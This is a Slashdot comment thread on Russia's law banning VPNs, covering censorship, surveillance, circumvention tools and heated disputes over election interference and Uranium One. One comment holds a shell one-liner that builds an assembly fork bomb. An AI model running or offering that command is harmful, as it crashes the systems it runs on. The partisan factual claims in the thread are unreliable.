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Russia's Anti-VPN Law Goes Into Effect (theregister.co.uk)
An anonymous reader quotes a report from The Register: A Russian law that bans the use or provision of virtual private networks (VPNs) will come into effect Wednesday. The legislation will require ISPs to block websites that offer VPNs and similar proxy services that are used by millions of Russians to circumvent state-imposed internet censorship. It was signed by President Vladimir Putin on July 29 and was justified as a necessary measure to prevent the spread of extremism online. Its real impact, however, will be to make it much harder for ordinary Russians to access websites ISPs are instructed to block connections to by Russian regulator Roskomnadzor, aka the Federal Service for Supervision of Communications, Information Technology and Mass Media. The law is just one part of a concerted effort by the Russian government to restrict access to information online. While Russia does not appear to be going the same route as China -- which has a country wide, constantly maintained censorship apparatus, known as the Great Firewall of China -- it is clearly following its lead. At the same time as Putin signed the VPN legislation, he signed another that will come into effect in January. That law, like a similar one passed by the Chinese government earlier this year, will require operators of messaging services to verify their users' identities through phone numbers. And it will require operators to introduce systems to cut off any users that are deemed by the Russian government to be spreading illegal content.
Reminds me of the kind of paranoia ancient kings used to have, thinking everyone was out to get them.
Basically China has show the way
1) Stop foreign companies operating - ban them, spy on them, drive them out
2) Force people to use domestic companies, and force those domestic companies to censor and spy on people.
3) Ban VPNs so people can't see sources outside the country
Claim it's all to stop 'extremism'.
I remember back in the 90's the left in the US and UK claimed that censorship wouldn't work in China and China would eventually be forced to democratize. Now those same left want US social media companies to clamp down more and more on 'hate speech' which in this case means 'speech they hate'. In the UK people have gone to prison for a Facebook posts.
But hey, at least it's not the government censoring people. Rather it's an unelected oligarchy in tech companies that between them have a monopoly on the means of communication. So it's not violating the First Amendment which means it's fine.
The US and UK of course don't block VPNs, because they don't need to - most VPNs are US based and the NSA can zap 'em with a national security letter if it needs to spy on them. What about foreign companies? Well the US government apparently wanted a US buyer for Skype. Microsoft - which is US based and thus vulnerable to a national security letter - bought it. At which point Microsoft did this
https://en.wikipedia.org/wiki/...
Chinese, Russian and United States law enforcement agencies have the ability to eavesdrop on Skype conversations, as well as have access to Skype users' geographic locations. In many cases, simple request for information is sufficient, and no court approval is needed. This ability was deliberately added by Microsoft after they purchased Skype in 2011 for the law enforcement agencies around the world. This is implemented through switching the Skype client for a particular user account from the client-side encryption to the server-side encryption, allowing dissemination of an unencrypted data stream.
The interesting thing is that when it comes to intelligence cooperation where a company is owned makes a great deal of difference. US companies cooperate with US intelligence. Chinese and Russian ones cooperate with their intelligence agencies. Thus allowing people to use foreign companies is a national security risk. It also runs the risk of political contamination - witness the 'Russians-under-the-bed' paranoia in the US about Russian companies spending a few tens of thousands of dollars during the last US election.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
The people must want this or we'd see an uprising which we don't.
I can see the deep thought behind it; just like they killed the Lycos MP3 search engine and napster and gnutella p2p - no one shares files anymore. If you can do that to file sharing why not VPN? -BAN ALL VPNs!
I'm just tunnelling this information via encrypted link end to end. TOTALLY DIFFERENT TO VPN.
Time to start using MAID - encryption via mutli-port-multi-protocol distributed means. VPN is a joke.
Thank you to China for starting this process and for Russia to accelerate it. I hope more countries follow suit.
What's the point anyhow? Putin throws whoever he wants in jail regardless of wrong doing and makes rich people "share" their wealth with him. -call it the loving embrace of a bear.
A 'singular oddity' is an event that cannot be explained and only happens when you are alone.
You really haven't been paying attention to the Trump administration, have you?
Mr. Hu is not a ninja.
When Russia enacts laws to censor the internet it's bad (no argument here).
When EU countries do it, suddenly liberals are cheering and it's the best thing ever (because they know these laws are being used to silence their opposition).
Germany recently massively expanded their own "extremism/hate speech/for the children" censorship laws, and the EU is trying to get this shit EU-wide.
If anything they're trying to keep up with Putin.
No it doesn't. The West’s authoritarians are falling over themselves to follow Russia and China’s lead when it comes to surveillance and oppression. And just like Putin, they claim it’s all about “extremism.”
Well, we had a good run, 30 years or so for the old-fashioned global internet. But having that much information available is simply too threatening to powerful people. We the commoners are supposed to keep our heads down and do their work for them, not crowdsource cases of corruption and essentially solve them, nor correctly point out where the ruling class is totally full of shit.
Right now, all of that is happening on Youtube/Facebook/Twitter/etc. Trump's election was a severe shock not just to American elites but to ruling classes the world over. The writing on the wall is clear: if you want to remain ruling class, don't let the proles know the real story. Youtube is ruthlessly demonetizing, Facebook is censoring, Twitter is deleting accounts and governments are blocking off the outside world. The future will be national networks with limited access to the outside, like China's today. In February a VPN ban will go into effect in China and that will be the end of that. So there will be a Chinese network, a Russian network, and increasingly fragmented networks the world over that don't really connect to each other. Good try internet, you did some good there for a while, but you were just too threatening to allow to continue to exist.
Shutting down free speech with violence isn't fighting fascism. It IS fascism!
You underestimate the fear of "terrorist" and "evil immigrants", which helped nationalistic authoritarians to rise to significant political power once again in Europe. Those fears seen to outweigh any moral high ground that could be gained by doing thing differently than Russia at the moment.
Whereas the "Great Firewall of China" may be considered a tragedy, Roskomnadzor's efforts are the proverbial farce that follows: the agency has blocked itself — apparently, on more than one occasion...
In Soviet Washington the swamp drains you.
First, see what kind of social and economic mischief you can carry out in the West by way of "anonymous" activity on the Internet - do it cheap, like get kids to help out, and take note how hard it is to trace back to the culprit.
(in parallel, see how much actual damage can be carried out, using Ukraine as a guinea-pig).
Next, notice well it all worked, beyond all reasonable expectations, even to the extent of swaying elections of public officials in the U.S. (they're holding Congressional hearings about us!), and encouraging open revolt against the state and inflaming street unrest.
Third, in view of the fact that Russian officials do not tolerate street unrest and open revolt against the state, conclude that this "research experiment" has proven without question that the Internet is a danger to the Motherland and its beloved leader, Valdimir Putin.
Fourth and finally, take pre-emptive action based on this valuable research to crush this threat and make sure it don't never happen here (Russian military take note... could be useful someday; continue research).
P.S.: President Xi says to Putin in his heavy Chinese accent, "way ahead of you."
P.P.S.: Kim Jong-un says it was all my idea.
Take it easy, Charlie, I've got an Angle...
VPN servers will be blocked intra-Russia. So Russian might still be able to use other VPNs from Europe and the US.
Slashdot, fix the reply notifications... You won't get away with it...
That's censorship of course. But unfortunately not enough people have the technical awareness to mass protest (unlike if it was soda, or Nutella).
Slashdot, fix the reply notifications... You won't get away with it...
The reality is, it's 2017 and digital fingerprinting is a very real thing. Without blocking ads and trackers, a VPN only gives plausible deniability if the legislation you have to defend yourself against tolerates loopholes. You could try DNSCrypt to see if that still works. Tor probably will if you set it up to only use 80/443 and let it know you are in a place that blocks it. I do that by default anyway. There's also no reason to not start using encryption tools like VeraCrypt or a Tox client for messaging. If encryption is illegal in your country, try steganography and use "encoding," not to be confused with encryption, like base64 and just remove the few first characters. It will look like a broken file, even though it's not. Just add the characters back when you want to read it. Folders with "." in front of them hide themselves. Switch to Linux but update immediately because of Krack. If you're just going to look up information real quick, there's no reason to not use a text browser like w3m for it. Keep your web visits as ssl (https) as possible and do not check that keep me signed in button. Turn off your cookies unless you really need to sign into somewhere. Get a cache delete program like Bleachbit. For really sensitive stuff, the "srm" program does 35 passes when deleting by default.
Squirrel! Both parties want to use the power of government to control you. As long as they can keep us divided in meaningless party arguments we are guaranteed to lose. Trump blows, but so does Hillary.
She also colluded with Russia to affect the US election. She paid $9 million to an MI-6 agent with Russian contacts to make up fake dirt on Trump, the DNC, Obama, and Comey with the FBI's money also helped pay for it.
They then used this false information to go to a FISA judge to wiretap Trump's campaign, using information they knew were lies.
Yea, but CNN (who ALSO works with the MI-6 guy and company that hired him) still say Trump is the one who colluded with Russia. Better believe a biased news source that joined in the collusion that actual facts.
Yes, and also no. There's certainly the PC movement that pushes for censorship. I find them to be a problem as well, but in this context, mentioning them is a red herring.
When it comes to getting rid of services that make it more difficult to trace people through the internet, the biggest supporters would be those who have an interest in increased surveillance. Here in Germany we had ideas of installing spyware on the phones of immigrants, track their social network activities, internet searches and so forth - things that are unconstitutional, because those laws don't only apply to German citizens but humans in general. Of course it's justified because it is all in the name of the greater good, and it would only be used to protect the innocent people. Services and technologies like DNScrypt, VPNs, TOR, SSL are thorns in their side. Criticism is brushed aside because 'if you have nothing to hide, you have nothing to fear'. Fortunately the majority still doesn't see it that way in my country, but fear is a very strong motivator that may very well change things within the next decade.
The subject says it all.
Hint: When you want to buy the election, buy both sides. This isn't roulette after all, you CAN put your money on blue AND red.
We used to have a Bill of Rights. Now, with the rights gone, all we have left is the bill.
Poe's Law, it's not just for religion anymore...
We used to have a Bill of Rights. Now, with the rights gone, all we have left is the bill.
True. But there is no evidence of buying or anything else than what the USSR did for decades propping up organizations in the US and Europe.
Lets see Obama and the Israeli election. Obama and the French election. Obama and Brexit.
Did Obama (and the US) try to influence those elections? Yes. And. Did Obama and the US "buy" the French election. No. Of course not.
I think there is no reason for Putin to actively want Trump over Hillary. There was no strategic opposition to Hillary. Not only that it was shown that she would sell just about anything,
If you're scared of your govt then you need to further restrict its powers
Vote 3rd Party in 2016 and beyond
That's what Putin wants, and if you can't believe that at this point in time then you're either not paying attention or your powers of denial are wizard-level strong. Putin wants to bring back the Soviet Union, resurrected in his own image, and denying his own citizens as much free access to the Internet outside of Russia proper is just one item on his to-do list.
US has done plenty of shenanigans to influence other countries elections or overthrow leaders, kind of sucks when other countries do the same to us. Of course there is no evidence of any of that stuff.
mfwright@batnet.com
Thersa May is pro-migrant? lolwut?
I think it's impolite and possibly disrespectful for the US (or any country) to express their support for one candidate or position over another. (Example Brexit)
There is no evidence of Russian tampering with the US election.
Tampering would be changing votes; hiring people to physically intimidate voters (in other words the klan or the black panthers).
If you're scared of your govt then you need to further restrict its powers
Vote 3rd Party in 2016 and beyond
This is not true. Uranium One mines less than 2% of US uranium, so it's not possible tor the sale of that company to have given Russia 20% of US uranium.
Second, the Russian company, Rosatom, that purchased Uranium One, does not have a license to export uranium from the United States. So, none of that 2% of US uranium ever left the United States.
If you want a good metric to judge whether or not someone gets all their news from Fox News and Breitbart, just look at whether or not they repeat the 100% false claim that the Obama administration "sold 20% of US uranium to Russia".
You are welcome on my lawn.
We have this:
"For every motherfucker out there with a computer, there's another motherfucker out there with a computer." ~ © 2017 CaptainDork
On deck: The replacement to VPN.
It little behooves the best of us to comment on the rest of us.
I don't get just from them. I understand they are not allowed to export it. I never said otherwise.
And the figures I've seen place it far closer to 20% than 2%. Be careful about impugning the intelligence and education of people with whom you disagree.
As a case in point - Fox News (not the opinion shows such as Hannity) is not free market or right-wing in any way. Long gone are the days where they actually invited someone over from CATO or AEI or Heritage. In fact, since the children took over, there's little difference between Fox and CNN (again we're talking about the news segments and not the opinion segments.)
"In June 2009, the Russian uranium mining company ARMZ Uranium Holding Co. (ARMZ), a part of Rosatom, acquired 16.6% of shares in Uranium One"
https://en.wikipedia.org/wiki/... Snopes talks about t
he fact that Hillary didn't have the veto power to reject the deal. True. The claim is that she lobbied for it (I don't know the validity of that and neither do you).
It's a complicated deal - and perhaps I ought not have included this in the reasons for why Russia would not be opposed to Hillary as it implies that Hillary was a primary decision maker. The point is that she is not a hard line opponent to Russian interests. There was no strategic or existential reason for Putin to oppose Hillary. She would play ball and she would sacrifice any principle to further her career (see Benghazi - not the deaths of the ambassadors) but throwing the 1st Amendment under the bus by blaming it on a film and then being part of the lynch party going after the film maker.
I saw the film. It was bad. Laughably bad.
If you're scared of your govt then you need to further restrict its powers
Vote 3rd Party in 2016 and beyond
The figures you've seen are wrong.
Uh-oh.
So, if Uranium One mines 2% of the uranium in the US, and Rosatom acquired 16.6% of the shares, then how much of the US uranium has Rosatom bought? Do the math. I'll wait.
You're doing all the heavy lifting on that one.
You are welcome on my lawn.
The point of the OP was that Hillary would play ball with the Russians.
But to your points - Fox News for the last few years (the news program - not Hannity, not opinion people) are in tune with the other news outlets. No longer do they bring in CATO , AEI and others. I hear both CNN and Fox at work and the gym - there is precious little difference.
The figures for the uranium are moving around because of different definitions - of what is american uranium. Is it in the United States (or owned by American companies), is it available to today - or does it include all known reserves. You know, or you should, that this is one of the areas where stats can be manipulated by each side - with each side able to declare victory.
Again - to the point of the OP: "Why wouldn't Putin want Hillary?"
If you're scared of your govt then you need to further restrict its powers
Vote 3rd Party in 2016 and beyond
This is not true. Uranium One mines less than 2% of US uranium, so it's not possible tor the sale of that company to have given Russia 20% of US uranium.
It's only 2% today. At the time the deal was signed it was 20% of the produced uranium. And Clinton made her decision based on the 20% number (which was true at the time) rather than a future number (the current levels) that she couldn't possibly know anything about.
Any guest worker system is indistinguishable from indentured servitude.
1) Clinton wasn't involved in the decision,
2) and none of the uranium ever left the country.
You have to start getting your news from outside the right-wing echo chamber.
You are welcome on my lawn.
Again - to the point of the OP: "Why wouldn't Putin want Hillary?"
Because Trump would be more disruptive to the day-to-day operation of the U.S. due to his lack of experience, erratic behavior, total non-connection with U.S. career bureaucrats, easy-to-get-at family, wide-spread financial interests, and, of course, his out-of-control Twitter thumb. And if you're a bettin' man, Trump supporters are probably more susceptible to Internet rumors than Hillary's. Nationalistic propaganda? That's the same trick Putin pulled in Crimea.
Big picture, it wasn't about Trump or Hillary. It was about learning how much you can fuck another country using just the Internet. Putin is ex-KGB: intelligence is king. Putin probably didn't expect to succeed, or even have a big impact. But with the Internet so easy to use, why NOT try and fuck with U.S. politics through social media? Why NOT try and see how much influence paid trolls and bots can accomplish? He had nothing to lose and TONS of intelligence to gain by pushing the envelope, working toward the biggest impact while maintaining anonymity and plausible deniability. I'd say Putin was as surprised as everyone when Trump won, but I'd also say he put the FSB hard to work on just how much of the credit goes to his army of trolls and bots.
Taken from the point of view of ex-KGB, this is absolutely huge. Decades ago, influencing a foreign election would take scores of spooks on the ground, bribes to newspapers and TV stations, bribes to politicians and election officials, extortions to take out the do-gooders, a couple of strategic "suicides"... Today, all you need is the Internet , a couple hundred teenagers with PC's or smartphones, and some high-quality botnets. Revolutionary.
Take it easy, Charlie, I've got an Angle...
1) Clinton wasn't involved in the decision,
False and irrelevant to the fact that it was 20% rather than the 2% that it has become today.
2) and none of the uranium ever left the country.
False. It part of it went to Canada and cannot be tracked after that.
Any guest worker system is indistinguishable from indentured servitude.
You have to start getting your news from outside the right-wing echo chamber.
Oh, and if the "echochamber" is so wrong, then you shouldn't have to use falsehoods to debunk it.
Any guest worker system is indistinguishable from indentured servitude.
That was before the sale of Uranium One to a Russian company.
You are welcome on my lawn.
That was before the sale of Uranium One to a Russian company.
Do you have a not-journalist citation or did you just make it up?
Any guest worker system is indistinguishable from indentured servitude.
Technically, they could block the port 1194 for instance (openvpn), but servers could change to any other port, and (a bit) advanced users could change the configuration to use a different port.
Slashdot, fix the reply notifications... You won't get away with it...
Thersa May is pro-migrant? lolwut?
Theresa May was (possibly still is) a Remainer, she wanted to remain in the EU. To the far-right whingers that basically makes her pro-immigrant even though most of the arguments to remain in the EU have a solid basis in economics.
Calling someone a "hater" only means you can not rationally rebut their argument.
No. The whole point of this is to implement blocks on ISP level. They already have the existing blacklist system that is currently used to take down "extremist" websites in this manner - it'll just make use of that.
So, anyone who is using a Russian ISP will have problems with VPNs, even foreign VPNs.
Fuck you, Big Brother. Just - fuck you!
Self-importance and self-indulgence is the root of ALL evil.